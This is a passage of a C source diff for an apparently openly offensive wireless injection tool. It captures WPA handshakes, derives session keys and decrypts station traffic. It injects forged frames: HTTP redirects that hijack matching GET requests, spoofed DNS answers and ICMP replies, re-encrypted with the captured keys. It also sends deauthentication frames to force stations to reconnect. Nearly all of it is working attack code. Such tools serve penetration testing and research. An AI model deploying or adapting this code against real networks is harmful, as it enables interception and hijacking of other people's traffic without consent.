+	p_resip->daddr = tmp_addr;
+	p_resip->ttl = 63;
+}
+
+static void packet_turnaround_ip_udp(struct udp_hdr * p_resudp)
+{
+	REQUIRE(p_resudp != NULL);
+
+	// Switch the UDP source and destination Ports
+	u_int16_t tmp_port = p_resudp->sport;
+	p_resudp->sport = p_resudp->dport;
+	p_resudp->dport = tmp_port;
+}
+
+static void packet_turnaround_ip_tcp(struct tcp_hdr * p_restcp,
+									 u_int32_t next_seq_hint)
+{
+	REQUIRE(p_restcp != NULL);
+
+	// Switch the TCP source and destination Ports
+	u_int16_t tmp_port = p_restcp->sport;
+	p_restcp->sport = p_restcp->dport;
+	p_restcp->dport = tmp_port;
+
+	u_int32_t tmp_num = p_restcp->seqnu;
+	p_restcp->seqnu = p_restcp->ack_seq;
+	p_restcp->ack_seq = tmp_num;
+
+	// Increment seq by the length of the data in the current packet
+	tmp_num = ntohl(p_restcp->ack_seq) + next_seq_hint;
+
+	p_restcp->ack_seq = htonl(tmp_num);
+}
+
+static u_int16_t dns_name_end(u_int8_t * buff, u_int16_t maxlen)
+{
+	REQUIRE(buff != NULL);
+
+	u_int8_t * ptr = buff;
+	u_int8_t count = 0;
+	u_int16_t offset = 0;
+
+	while (offset < maxlen)
+	{
+		count = ptr[0] + 1;
+		offset += count;
+		ptr += count;
+
+		if (count == 1) break;
+	};
+
+	return (offset);
+}
+
+static int strip_ccmp_header(u_int8_t * h80211, int caplen, unsigned char PN[6])
+{
+	REQUIRE(h80211 != NULL);
+
+	int is_a4, z, is_qos;
+
+	is_a4 = (h80211[1] & 3) == 3;
+	is_qos = (h80211[0] & 0x8C) == 0x88;
+	z = 24 + 6 * is_a4;
+	z += 2 * is_qos;
+
+	// Insert CCMP header
+	PN[5] = h80211[z + 0];
+	PN[4] = h80211[z + 1];
+	PN[3] = h80211[z + 4];
+	PN[2] = h80211[z + 5];
+	PN[1] = h80211[z + 6];
+	PN[0] = h80211[z + 7];
+	memmove(h80211 + z, h80211 + z + 8, caplen - z);
+
+	// return new length, encrypt_ccmp() expects on encryption artifacts in
+	// frame,
+	// and states frame is encrypted in place resulting in extra 16 bytes?
+	return (caplen - 16);
+}
+
+static void
+encrypt_data_packet(u_int8_t * packet, int length, struct WPA_ST_info * sta_cur)
+{
+	if ((NULL == sta_cur) || (!sta_cur->valid_ptk))
+	{
+		return;
+	}
+	else
+	{
+		// if the PTK is valid, try to decrypt
+		if (sta_cur->keyver == 1)
+		{
+			encrypt_tkip(packet, length, sta_cur->ptk);
+		}
+		else
+		{
+			// This will take the current packet that already
+			// has a ccmp header and strip it and return the PN
+			// This is required so that we comply with the
+			// encrypt_ccmp function in crypto.c
+			unsigned char PN[6] = {0};
+			length = strip_ccmp_header(packet, length, PN);
+			encrypt_ccmp(packet, length, sta_cur->ptk + 32, PN);
+		}
+	}
+}
+
+// Global packet buffer for use in building response packets
+static uint8_t pkt[2048] = {0};
+
+static void process_unencrypted_data_packet(u_int8_t * packet,
+											u_int32_t length,
+											u_int32_t debug)
+{
+	if (debug) hexDump("full", packet, length);
+
+	u_int8_t * packet_start = packet;
+	int packet_start_length = length;
+	char extra_enc_length = 0;
+
+	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
+
+	int size_80211hdr = sizeof(struct ieee80211_frame);
+
+	// Check to see if we have a QOS 802.11 frame
+	if (IEEE80211_FC0_SUBTYPE_QOS & wfrm->i_fc[0])
+	{
+		size_80211hdr = sizeof(struct ieee80211_qosframe);
+		// Here's an idea from a presentation out of NL, assign this packet
+		// a QOS priority that isn't used in order to not collide with
+		// squence numbers from the real AP/STA
+		struct ieee80211_qosframe * wqfrm
+			= (struct ieee80211_qosframe *) packet;
+		wqfrm->i_qos[0] = 0x7;
+	}
+
+	// Increment the 802.11 sequence number
+	uint16_t * p_seq = (uint16_t *) &wfrm->i_seq;
+	uint16_t pkt_sent = (*p_seq) >> 4;
+	pkt_sent += 1;
+	packet[22] = (pkt_sent & 0x0000000F) << 4;
+	packet[23] = (pkt_sent & 0x00000FF0) >> 4;
+
+	// Skip over the 802.11 header
+	packet += size_80211hdr;
+	length -= size_80211hdr;
+
+	// If the protected bit is set, we decrypted this packet and passed it on
+	// here
+	// Calculate the correct offset to the start of the data
+	if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
+	{
+		if (0 == (packet[3] & 0x20))
+		{
+			// this is a regular WEP IV field
+			extra_enc_length = 4;
+		}
+		else
+		{
+			// this is a Extended IV field
+			extra_enc_length = 8;
+		}
+		packet += (uintptr_t) extra_enc_length;
+		length -= extra_enc_length;
+		size_80211hdr += extra_enc_length;
+	}
+
+	struct llc_frame * p_llc = (struct llc_frame *) packet;
+	if (debug) hexDump("llc", p_llc, length);
+	packet += sizeof(struct llc_frame);
+	length -= sizeof(struct llc_frame);
+	// Sanity check...
+	// We should have a data packet. Check for LLC
+	if (p_llc->i_dsap == 0xAA && p_llc->i_ssap == 0xAA)
+	{
+		// If it's an EAPOL frame, let's capture the handshake
+		if (ETHTYPE_8021x == p_llc->i_ethtype)
+		{
+			struct dot1x_hdr * p_d1x = (struct dot1x_hdr *) packet;
+			struct radius_hdr * p_rhdr
+				= (struct radius_hdr *) (packet + sizeof(struct dot1x_hdr));
+
+			// Must be a key frame, and must be RSN (2) or WPA (254)
+			if ((DOT1X_ID_EAP_KEY != p_d1x->idtype)
+				|| (2 != p_rhdr->code && 254 != p_rhdr->code))
+			{
+				return;
+			}
+
+			// frame 1 of 4: Pairwise == 1, Install == 0, Ack == 1, MIC == 0,
+			// Secure == 0 */
+			if (1 == p_rhdr->key_type && 0 == p_rhdr->key_install
+				&& 1 == p_rhdr->key_ack
+				&& 0 == p_rhdr->key_mic)
+			{
+				/* set authenticator nonce */
+				memcpy(lopt.st_cur->anonce, p_rhdr->wpa_nonce, 32);
+				printf(COL_4WAYHS "------> #1, Captured anonce " COL_REST);
+				PRINTMAC(lopt.st_cur->stmac);
+			}
+
+			/* frame 2 of 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1,
+			 * Secure == 0 */
+			/* frame 4 of 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1,
+			 * Secure == 1 */
+			if (1 == p_rhdr->key_type && 0 == p_rhdr->key_install
+				&& 0 == p_rhdr->key_ack
+				&& 1 == p_rhdr->key_mic)
+			{
+				if (memcmp(p_rhdr->wpa_nonce, ZERO, 32) != 0)
+				{
+					/* set supplicant nonce */
+					memcpy(lopt.st_cur->snonce, p_rhdr->wpa_nonce, 32);
+					printf(COL_4WAYHS "------> #2, Captured snonce " COL_REST);
+				}
+				else
+				{
+					printf(COL_4WAYHS "------> #4, Captured        " COL_REST);
+				}
+				PRINTMAC(lopt.st_cur->stmac);
+
+				lopt.st_cur->eapol_size
+					= ntohs(p_d1x->length) + 4; // 4 is sizeof radius header
+
+				if (length < lopt.st_cur->eapol_size
+					|| lopt.st_cur->eapol_size == 0 //-V560
+					|| lopt.st_cur->eapol_size > sizeof(lopt.st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					printf("Caught a packet trying to crash us, sneaky "
+						   "bastard!\n");
+					hexDump("Offending Packet:", packet, length);
+					lopt.st_cur->eapol_size = 0;
+					return;
+				}
+				// Save the MIC
+				memcpy(lopt.st_cur->keymic, p_rhdr->wpa_key_mic, 16);
+				// Save the whole EAPOL frame
+				memcpy(lopt.st_cur->eapol, p_d1x, lopt.st_cur->eapol_size);
+				// Clearing the MIC in the saves EAPOL frame
+				memset(lopt.st_cur->eapol + 81, 0, 16);
+
+				// copy the key descriptor version
+				lopt.st_cur->keyver = p_rhdr->key_ver;
+			}
+
+			/* frame 3 of 4: Pairwise == 1, Install == 1, Ack == 1, MIC == 1,
+			 * Secure == 1 */
+			if (1 == p_rhdr->key_type && 1 == p_rhdr->key_install
+				&& 1 == p_rhdr->key_ack
+				&& 1 == p_rhdr->key_mic)
+			{
+				if (memcmp(p_rhdr->wpa_nonce, ZERO, 32) != 0)
+				{
+					/* set authenticator nonce (again) */
+					memcpy(lopt.st_cur->anonce, p_rhdr->wpa_nonce, 32);
+					printf(COL_4WAYHS "------> #3, Captured anonce " COL_REST);
+					PRINTMAC(lopt.st_cur->stmac);
+				}
+				// WARNING: Serious Code Reuse here!!!
+				lopt.st_cur->eapol_size
+					= ntohs(p_d1x->length) + 4; // 4 is sizeof radius header
+
+				if (length < lopt.st_cur->eapol_size
+					|| lopt.st_cur->eapol_size == 0 //-V560
+					|| lopt.st_cur->eapol_size > sizeof(lopt.st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					printf("Caught a packet trying to crash us, sneaky "
+						   "bastard!\n");
+					hexDump("Offending Packet:", packet, length);
+					lopt.st_cur->eapol_size = 0;
+					return;
+				}
+				// Save the MIC
+				memcpy(lopt.st_cur->keymic, p_rhdr->wpa_key_mic, 16);
+				// Save the whole EAPOL frame
+				memcpy(lopt.st_cur->eapol, p_d1x, lopt.st_cur->eapol_size);
+				// Clearing the MIC in the saves EAPOL frame
+				memset(lopt.st_cur->eapol + 81, 0, 16);
+
+				// copy the key descriptor version
+				lopt.st_cur->keyver = p_rhdr->key_ver;
+			}
+
+			memset(lopt.st_cur->ptk, 0, 80);
+
+			lopt.st_cur->valid_ptk = calc_ptk(lopt.st_cur, lopt.pmk);
+			if (1 == lopt.st_cur->valid_ptk)
+			{
+
+				hexDump(
+					COL_4WAYKEY "MIC" COL_4WAYKEYDATA, lopt.st_cur->keymic, 16);
+				hexDump(
+					COL_4WAYKEY "stmac" COL_4WAYKEYDATA, lopt.st_cur->stmac, 6);
+				hexDump(
+					COL_4WAYKEY "bssid" COL_4WAYKEYDATA, lopt.st_cur->bssid, 6);
+				hexDump(COL_4WAYKEY "anonce" COL_4WAYKEYDATA,
+						lopt.st_cur->anonce,
+						32);
+				hexDump(COL_4WAYKEY "snonce" COL_4WAYKEYDATA,
+						lopt.st_cur->snonce,
+						32);
+				hexDump(COL_4WAYKEY "keymic" COL_4WAYKEYDATA,
+						lopt.st_cur->keymic,
+						16);
+				hexDump(COL_4WAYKEY "epol" COL_4WAYKEYDATA,
+						lopt.st_cur->eapol,
+						lopt.st_cur->eapol_size);
+				printf(COL_BLUE "Valid key: ");
+				PRINTMAC(lopt.st_cur->stmac);
+				printf("\n" COL_REST);
+			}
+
+			return;
+		}
+		else if ((short) ETHTYPE_IP == p_llc->i_ethtype)
+		{
+			// We have an IP frame
+			int offset_ip = size_80211hdr + sizeof(struct llc_frame);
+			int offset_proto = offset_ip + sizeof(struct ip_frame);
+
+			struct ip_frame * p_ip = (struct ip_frame *) packet;
+			packet += sizeof(struct ip_frame);
+			length -= sizeof(struct ip_frame);
+
+			if ((short) PROTO_TCP == p_ip->protocol)
+			{
+
+				struct tcp_hdr * p_tcp = (struct tcp_hdr *) packet;
+				if (80 == ntohs(p_tcp->dport))
+				{
+					length += extra_enc_length;
+					// TCP header size = first 4bits * 32 / 8, same as first
+					// 4bits *4
+					u_int32_t hdr_size = p_tcp->doff * 4;
+					u_int8_t * p_http = packet + hdr_size;
+					u_int32_t l_http = length - hdr_size;
+					// Find a GET
+					if ((1 == lopt.flag_http_hijack)
+						&& (p_http[0] == 0x47 && p_http[1] == 0x45
+							&& p_http[2] == 0x54))
+					{
+						int ret = fnmatch((const char *) lopt.p_hijack_str,
+										  (const char *) p_http,
+										  FNM_PERIOD);
+						if (0 == ret)
+						{
+							printf("This frame matched a term we are looking "
+								   "for\n");
+							if (NULL != lopt.p_redir_url)
+							{
+								char * p_hit
+									= strstr((const char *) p_http,
+											 (const char *) lopt.p_redir_url);
+								if (NULL != p_hit)
+								{
+									printf("Caught our own redirect, ignoring "
+										   "this packet\n");
+									return;
+								}
+								else
+								{
+									printf("this is not a redirect to our "
+										   "server\n");
+								}
+							}
+						}
+						else
+						{
+							printf("pattern %s, not in this packet\n",
+								   lopt.p_hijack_str);
+							return;
+						}
+
+						memcpy(pkt, packet_start, packet_start_length);
+
+						struct tcp_hdr * p_restcp
+							= (struct tcp_hdr *) (pkt + offset_proto);
+						struct ip_frame * p_resip
+							= (struct ip_frame *) (pkt + offset_ip);
+						u_int32_t res_length
+							= packet_start_length; // This only initially until
+						// we replace content
+
+						//-----------------------------------------------------------------------------
+						// Do some magic here... to create a frame to close the
+						// server connection
+						memcpy(tmpbuf, pkt, packet_start_length);
+						struct ip_frame * p_resip_ack
+							= (struct ip_frame *) (tmpbuf + offset_ip);
+						struct tcp_hdr * p_restcp_ack
+							= (struct tcp_hdr *) (tmpbuf + offset_proto);
+
+						res_length
+							= offset_proto + hdr_size
+							  + extra_enc_length; // have to account for MIC
+						p_resip_ack->id = htons(ntohs(p_resip_ack->id) + 1023);
+						p_resip_ack->tot_len
+							= htons(hdr_size + sizeof(struct ip_frame));
+						p_resip_ack->check = 0;
+						p_resip_ack->check
+							= calcsum((unsigned short *) p_resip_ack,
+									  sizeof(struct ip_frame));
+
+						// We could try some stuff with tcp reset
+						p_restcp_ack->rst = 1;
+
+						// Lets calculate the TCP checksum
+						p_restcp_ack->checksum = 0;
+						p_restcp_ack->checksum
+							= calcsum_tcp((void *) p_restcp_ack,
+										  (hdr_size),
+										  p_resip_ack->saddr,
+										  p_resip_ack->daddr);
+
+						int tmpbuf_len = res_length;
+						// Going to send the packet later, after we send the
+						// redirect...
+						//-----------------------------------------------------------------------------
+						// The silly extra TCP options were messing with me,
+						// Packets with TCP options
+						// Weren't being accepted. Probably some silly offset
+						// miscalculation. But for
+						// Our purposes, just cut these out.
+						// So get those options out of there
+						int diff = hdr_size - sizeof(struct tcp_hdr);
+						if (0 != diff)
+						{
+							hdr_size = sizeof(struct tcp_hdr);
+							p_resip->tot_len
+								= htons(ntohs(p_resip->tot_len) - diff);
+						}
+						// Update the TCP header with the new size (if changed)
+						p_restcp->doff = hdr_size / 4;
+
+						// start manipulating the packet to turn it around back
+						// to the sender
+						packet_turnaround_80211(pkt);
+						packet_turnaround_ip(p_resip);
+						packet_turnaround_ip_tcp(p_restcp,
+												 ntohs(p_resip->tot_len)
+													 - sizeof(struct ip_frame)
+													 - hdr_size);
+
+						// Pointer to the start of the http section
+						p_http = pkt + offset_proto + hdr_size;
+						l_http = strlen(lopt.p_redir_pkt_str);
+
+						// Copy the http frame we wish to send
+						memcpy(p_http, lopt.p_redir_pkt_str, l_http);
+						res_length
+							= offset_proto + hdr_size + l_http
+							  + extra_enc_length; // have to account for MIC
+
+						// Set checksum to zero before calculating...
+						p_resip->frag_off = 0x0000;
+						// Incrementing the ID by something, Could try to
+						// calculate this...
+						p_resip->id = htons(ntohs(p_resip->id) + 1025);
+						p_resip->tot_len = htons(l_http + hdr_size
+												 + sizeof(struct ip_frame));
+						p_resip->check = 0;
+						p_resip->check = calcsum((unsigned short *) p_resip,
+												 sizeof(struct ip_frame));
+
+						// Lets calculate the TCP checksum
+						p_restcp->checksum = 0;
+						p_restcp->checksum = calcsum_tcp((void *) p_restcp,
+														 (hdr_size + l_http),
+														 p_resip->saddr,
+														 p_resip->daddr);
+
+						if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
+						{
+							if (lopt.st_cur->keyver == 1)
+							{
+								res_length += 4;
+							}
+							encrypt_data_packet(pkt, res_length, lopt.st_cur);
+							encrypt_data_packet(
+								tmpbuf, tmpbuf_len, lopt.st_cur);
+						}
+
+						printf(COL_HTTPINJECT "---> Injecting Redirect Packet "
+											  "to: " COL_HTTPINJECTDATA);
+						PRINTMAC(lopt.st_cur->stmac);
+						printf(COL_REST);
+
+						if (send_packet(_wi_out,
+										pkt,
+										res_length,
+										kRewriteSequenceNumber)
+							!= 0)
+							printf("Error Sending Packet\n");
+						printf("\n");
+						// Uncomment to send RST packet to the server
+						// if (send_packet(_wi_out, tmpbuf, tmpbuf_len, true) != 0)
+						//    printf("ERROR: couldn't send Ack\n");
+						return;
+					}
+				}
+			}
+			else if ((short) PROTO_UDP == p_ip->protocol && lopt.flag_dnsspoof)
+			{
+				struct udp_hdr * p_udp = (struct udp_hdr *) packet;
+
+				// DNS packet
+				if (53 == ntohs(p_udp->dport))
+				{
+					hexDump("DNS", (void *) packet, length);
+					memcpy(pkt, packet_start, packet_start_length);
+					packet_turnaround_80211(pkt);
+					packet_turnaround_ip((struct ip_frame *) (pkt + offset_ip));
+					packet_turnaround_ip_udp(
+						(struct udp_hdr *) (pkt + offset_proto));
+
+					struct udp_hdr * p_resudp
+						= (struct udp_hdr *) (pkt + offset_proto);
+
+					int dns_offset = offset_proto + sizeof(struct udp_hdr);
+					u_int8_t * p_dns = packet_start + dns_offset;
+					u_int8_t * p_resdns = pkt + dns_offset;
+
+					// Copy the beginning part of the packet
+					memcpy(p_resdns, DNS_RESP_PCKT_1, sizeof(DNS_RESP_PCKT_1));
+					struct dns_query * p_dnsq = (struct dns_query *) p_dns;
+					int dns_qlen = dns_name_end((u_int8_t *) &p_dnsq->qdata,
+												packet_start_length);
+
+					// Copy the request DNS name into the response
+					memcpy(p_resdns + sizeof(DNS_RESP_PCKT_1) - 1,
+						   (void *) &p_dnsq->qdata,
+						   dns_qlen);
+					// Copy the rest of the DNS packet
+					memcpy(p_resdns + sizeof(DNS_RESP_PCKT_1) - 1 + dns_qlen,
+						   DNS_RESP_PCKT_2,
+						   sizeof(DNS_RESP_PCKT_2));
+					// Calculate the new resp length
+					int dns_resplen = sizeof(DNS_RESP_PCKT_1) - 1 + dns_qlen
+									  + sizeof(DNS_RESP_PCKT_2);
+
+					struct sockaddr_in s_in;
+					inet_pton(AF_INET, "127.0.0.1", &s_in); // Website will work
+					memcpy(p_resdns + dns_resplen - 5, &s_in, 4);
+
+					// copy the Transaction ID
+					p_resdns[0] = p_dns[0];
+					p_resdns[1] = p_dns[1];
+
+					struct ip_frame * p_resip
+						= (struct ip_frame *) (pkt + offset_ip);
+					p_resip->tot_len
+						= htons(dns_resplen + sizeof(struct udp_hdr)
+								+ sizeof(struct ip_frame));
+					// Set checksum to zero before calculating...
+					p_resip->check = 0;
+					p_resip->check = calcsum((unsigned short *) p_resip,
+											 sizeof(struct ip_frame));
+
+					p_resudp->len = htons(dns_resplen + sizeof(struct udp_hdr));
+					p_resudp->checksum = 0;
+					p_resudp->checksum = calcsum_udp((void *) p_resudp,
+													 ntohs(p_resudp->len),
+													 p_resip->saddr,
+													 p_resip->daddr);
+
+					hexDump("sending DNS Response:", pkt, packet_start_length);
+
+					packet_start_length = dns_offset + dns_resplen;
+					if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
+					{
+						if (lopt.st_cur->keyver == 1)
+						{
+							packet_start_length += 4;
+						}
+
+						packet_start_length += extra_enc_length;
+						encrypt_data_packet(
+							pkt, packet_start_length, lopt.st_cur);
+					}
+
+					if (send_packet(_wi_out,
+									pkt,
+									(size_t) packet_start_length,
+									kRewriteSequenceNumber)
+						!= 0)
+						printf("Error Sending Packet\n");
+
+					return;
+				}
+			}
+
+			else if ((1 == lopt.flag_icmp_resp)
+					 && (short) PROTO_ICMP == p_ip->protocol)
+			{
+				struct icmp * p_icmp = (struct icmp *) packet;
+				if (p_icmp->icmp_type == 8)
+				{
+					printf("ICMP Request Caught, %d, %d\n",
+						   p_icmp->icmp_id,
+						   p_icmp->icmp_seq);
+
+					// copy the original Packet to our response packet buffer
+					memcpy(pkt, packet_start, packet_start_length);
+
+					packet_turnaround_80211(pkt);
+					packet_turnaround_ip((struct ip_frame *) (pkt + offset_ip));
+
+					// Point to the IP frame
+					struct ip_frame * p_resip
+						= (struct ip_frame *) (pkt + offset_ip);
+					// Set checksum to zero before calculating checksum...
+					p_resip->check = 0;
+					p_resip->check = calcsum((unsigned short *) p_resip,
+											 sizeof(struct ip_frame));
+
+					struct icmp * p_resicmp
+						= (struct icmp *) (pkt + size_80211hdr
+										   + sizeof(struct llc_frame)
+										   + sizeof(struct ip_frame));
+					// Set the ICMP type as response
+					p_resicmp->icmp_type = 0;
+
+					// Calculate how much data there is to calculate checksum
+					// over
+					int icmp_length
+						= packet_start_length
+						  - (size_80211hdr + sizeof(struct llc_frame)
+							 + sizeof(struct ip_frame))
+						  - extra_enc_length; // Don't forget extra MIC at the
+					// end of the frame
+
+					if (lopt.st_cur->keyver == 1)
+					{
+						icmp_length -= 4;
+					}
+					p_resicmp->icmp_cksum = 0;
+					p_resicmp->icmp_cksum
+						= calcsum((unsigned short *) p_resicmp, icmp_length);
+
+					if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
+					{
+						encrypt_data_packet(
+							pkt, packet_start_length, lopt.st_cur);
+					}
+
+					printf("Sending ICMP response\n");
+					if (send_packet(_wi_out,
+									pkt,
+									(size_t) packet_start_length,
+									kRewriteSequenceNumber)
+						!= 0)
+						printf("Error Sending Packet\n");
+
+					return;
+				}
+			}
+		}
+	}
+}
+
+static bool is_adhoc_frame(u_int8_t * packet)
+{
+	u_int8_t * p_stmac = packet_get_sta_80211(packet);
+
+	if (NULL == p_stmac)
+	{
+		return (TRUE);
+	}
+	else
+	{
+		return (FALSE);
+	}
+}
+
+static bool find_station_in_db(u_int8_t * p_stmac)
+{
+	lopt.st_prv = NULL;
+	lopt.st_cur = lopt.st_1st;
+
+	while (lopt.st_cur != NULL)
+	{
+		if (!memcmp(lopt.st_cur->stmac, p_stmac, 6)) break;
+
+		lopt.st_prv = lopt.st_cur;
+		lopt.st_cur = lopt.st_cur->next;
+	}
+
+	if (NULL == lopt.st_cur)
+		// If not fount, opt.st_cur == NULL
+		return (FALSE);
+	else
+		// If found, opt.st_cur == p_stmac
+		return (TRUE);
+}
+
+static bool alloc_new_station_in_db(void)
+{
+	lopt.st_cur = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info));
+
+	if (NULL == lopt.st_cur)
+	{
+		perror("station malloc failed");
+		return (FALSE);
+	}
+	// Zero out memory of newly allocated structure
+	memset(lopt.st_cur, 0, sizeof(struct WPA_ST_info));
+	return (TRUE);
+}
+
+static inline bool is_wfrm_encrypted(struct ieee80211_frame * wfrm)
+{
+	REQUIRE(wfrm != NULL);
+
+	return (wfrm->i_fc[1] & IEEE80211_FC1_WEP);
+}
+
+static inline bool is_length_lt_wfrm(int length)
+{
+	return ((int) sizeof(struct ieee80211_frame) >= length);
+}
+
+static inline bool mac_is_multi_broadcast(unsigned char stmac[6])
+{
+	if ((0xFF == stmac[0]) && (0xFF == stmac[1])) return (TRUE);
+	if ((0x33 == stmac[0]) && (0x33 == stmac[1])) return (TRUE);
+	return (FALSE);
+}
+
+static void process_station_data(u_int8_t * packet, int length)
+{
+	if (is_length_lt_wfrm(length)) return;
+
+	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
+
+	u_int8_t * p_stmac = packet_get_sta_80211(packet);
+	ALLEGE(p_stmac != NULL);
+	u_int8_t * p_bssid = packet_get_bssid_80211(packet);
+	ALLEGE(p_bssid != NULL);
+
+	if (!find_station_in_db(p_stmac))
+	{
+		if (FALSE == alloc_new_station_in_db())
+		{
+			return;
+		}
+
+		if (lopt.st_1st == NULL)
+			lopt.st_1st = lopt.st_cur;
+		else
+			lopt.st_prv->next = lopt.st_cur;
+
+		memcpy(lopt.st_cur->stmac, p_stmac, 6);
+		memcpy(lopt.st_cur->bssid, p_bssid, 6);
+
+		if (TRUE == lopt.flag_verbose)
+		{
+			printf(COL_NEWSTA "Added new station\n" COL_NEWSTADATA);
+			printf("Station = ");
+			PRINTMAC(p_stmac);
+			printf("BSSID   = ");
+			PRINTMAC(lopt.st_cur->bssid);
+			printf(COL_REST);
+			// Attempt to force a de-auth and reconnect automagically ;)
+		}
+
+		if ((is_wfrm_encrypted(wfrm)) && (TRUE == lopt.deauth))
+		{
+			// This frame was encrypted, so send some deauths to the station
+			// Hoping to reauth/reassoc to force 4 way handshake
+			if (FALSE == mac_is_multi_broadcast(lopt.st_cur->stmac))
+			{
+				printf("Doing deauth\n");
+				deauth_station(lopt.st_cur);
+				printf("\nFinished Deauth Attempt\n");
+			}
+		}
+	}
+}
+
+static inline bool wfrm_is_tods(struct ieee80211_frame * wfrm)
+{
+	REQUIRE(wfrm != NULL);
+
+	return (wfrm->i_fc[1] & IEEE80211_FC1_DIR_TODS);
+}
+
+static inline bool wfrm_is_fromds(struct ieee80211_frame * wfrm)
+{
+	REQUIRE(wfrm != NULL);
+
+	return (wfrm->i_fc[1] & IEEE80211_FC1_DIR_FROMDS);
+}
+
+static inline bool is_wfrm_qos(struct ieee80211_frame * wfrm)
+{
+	REQUIRE(wfrm != NULL);
+
+	return (IEEE80211_FC0_SUBTYPE_QOS & wfrm->i_fc[0]);
+}
+
+static bool is_wfrm_already_processed(u_int8_t * packet, int length)
+{
+	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
+
+	// check if we haven't already processed this packet
+	// If we have, just return, don't process packet twice
+	u_int32_t crc = calc_crc_buf(packet, length);
+
+	// IF TODS
+	if (wfrm_is_tods(wfrm))
+	{
+		if (crc == lopt.st_cur->t_crc)
+		{
+			return (TRUE);
+		}
+		lopt.st_cur->t_crc = crc;
+	}
+	// IF FROMDS
+	else if (wfrm_is_fromds(wfrm))
+	{
+		if (crc == lopt.st_cur->f_crc)
+		{
+			return (TRUE);
+		}
+		lopt.st_cur->f_crc = crc;
+	}
+	// this frame hasn't been processed yet
+	return (FALSE);
+}
+
+static struct llc_frame * find_llc_frm_ptr(u_int8_t * packet, int length)
+{
+	if (is_length_lt_wfrm(length)) return (NULL);
+
+	int size_80211hdr = sizeof(struct ieee80211_frame);
+	if (is_wfrm_qos((struct ieee80211_frame *) packet))
+	{
+		size_80211hdr = sizeof(struct ieee80211_qosframe);
+	}
+
+	struct llc_frame * p_llc = (struct llc_frame *) (packet + size_80211hdr);
+	return (p_llc);
+}
+
+static void process_wireless_data_packet(u_int8_t * packet, int length)
+{
+	u_int8_t * packet_start = packet;
+	int packet_start_length = length;
+
+	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
+
+	if (is_adhoc_frame(packet))
+	{
+		return;
+	}
+
+	// process station,
+	// if it exists, opt.st_cur will point to it
+	// if it doesn't exist, it will create an entry
+	//    with opt.st_cur pointing to it
+	process_station_data(packet, length);
+
+	if (is_wfrm_already_processed(packet, length))
+	{
+		return;
+	}
+
+	struct llc_frame * p_llc = find_llc_frm_ptr(packet, length);
+	if (NULL == p_llc)
+	{
+		return;
+	}
+
+	// Check to see if this is an encrypted frame
+	if (0xAA != p_llc->i_dsap && 0xAA != p_llc->i_ssap)
+	{
+		// OK so it's not valid LLC, lets check WEP
+		struct wep_frame * p_wep = (struct wep_frame *) packet;
+
+		// check the extended IV flag
+		// I copied from airdecap-ng, not actually sure about WEP and don't care
+		// at this point
+		if ((wfrm->i_fc[1] & IEEE80211_FC1_WEP) && (0 != (p_wep->keyid & 0x20)))
+		{
+			// Unsupported ;)
+			printf("unsupported encryption\n");
+			return;
+		}
+		else
+		{
+			if (opt.crypt != CRYPT_WPA)
+			{
+				return;
+			}
+			// Apparently this is a WPA packet
+			// Don't bother with this if we don't have a valid ptk for this
+			// station
+			if ((NULL == lopt.st_cur) || (!lopt.st_cur->valid_ptk))
+			{
+				return;
+			}
+			else
+			{
+				// if the PTK is valid, try to decrypt
+				if (lopt.st_cur->keyver == 1)
+				{
+					if (decrypt_tkip(packet_start,
+									 packet_start_length,
+									 lopt.st_cur->ptk + 32)
+						== 0)
+					{
+						printf("TKIP decryption on this packet failed :( \n");
+						return;
+					}
+				}
+				else
+				{
+					if (decrypt_ccmp(packet_start,
+									 packet_start_length,
+									 lopt.st_cur->ptk + 32)
+						== 0)
+					{
+						printf("CCMP decryption on this packet failed :( \n");
+						hexDump("failed to decrypt",
+								packet_start,
+								packet_start_length);
+						return;
+					}
+				}
+
+				process_unencrypted_data_packet(
+					packet_start, packet_start_length, 0);
+				return;
+			}
+		}
+	}
+	else if (0xAA == p_llc->i_dsap && 0xAA == p_llc->i_ssap)
+	{
+		process_unencrypted_data_packet(packet_start, packet_start_length, 0);
+	}
+}
+
+static void process_wireless_packet(u_int8_t * packet, int length)
+{
+	REQUIRE(packet != NULL);
+
+	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
+	short fc = *wfrm->i_fc;
+
+	if ((IEEE80211_FC0_TYPE_DATA & fc))
+	{
+		process_wireless_data_packet(packet, length);
+	}
+}
+
+static int do_active_injection(void)
+{
+	struct timeval tv;
+	fd_set rfds;
+	int caplen, ret;
+	int atime = 200;
+	memset(tmpbuf, 0, 4096);
+
+	printf("opt.port_out = %d, opt.s_face = %s\n", opt.port_out, opt.s_face);
+	if (opt.port_out > 0)
+	{
+		atime += 200;
+		PCT;
+		printf("Testing connection to injection device %s\n", opt.iface_out);
+		ret = tcp_test(opt.ip_out, opt.port_out);
+		if (ret != 0)
+		{
+			return (1);
+		}
+		printf("\n");
+
+		/* open the replay interface */
+		_wi_out = wi_open(opt.iface_out);
+		if (!_wi_out) return (1);
+		printf("\n");
+		dev.fd_out = wi_fd(_wi_out);
+		wi_get_mac(_wi_out, dev.mac_out);
+		if (opt.s_face == NULL)
+		{
+			_wi_in = _wi_out;
+			dev.fd_in = dev.fd_out;
+
+			/* XXX */
+			dev.arptype_in = dev.arptype_out;
+			wi_get_mac(_wi_in, dev.mac_in);
+		}
+	}
+
+	if (opt.s_face && opt.port_in > 0)
+	{
+		atime += 200;
+		PCT;
+		printf("Testing connection to capture device %s\n", opt.s_face);
+		ret = tcp_test(opt.ip_in, opt.port_in);
+		if (ret != 0)
+		{
+			return (1);
+		}
+		printf("\n");
+
+		/* open the packet source */
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return (1);
+		dev.fd_in = wi_fd(_wi_in);
+		wi_get_mac(_wi_in, dev.mac_in);
+		printf("\n");
+	}
+	else if (opt.s_face && opt.port_in <= 0)
+	{
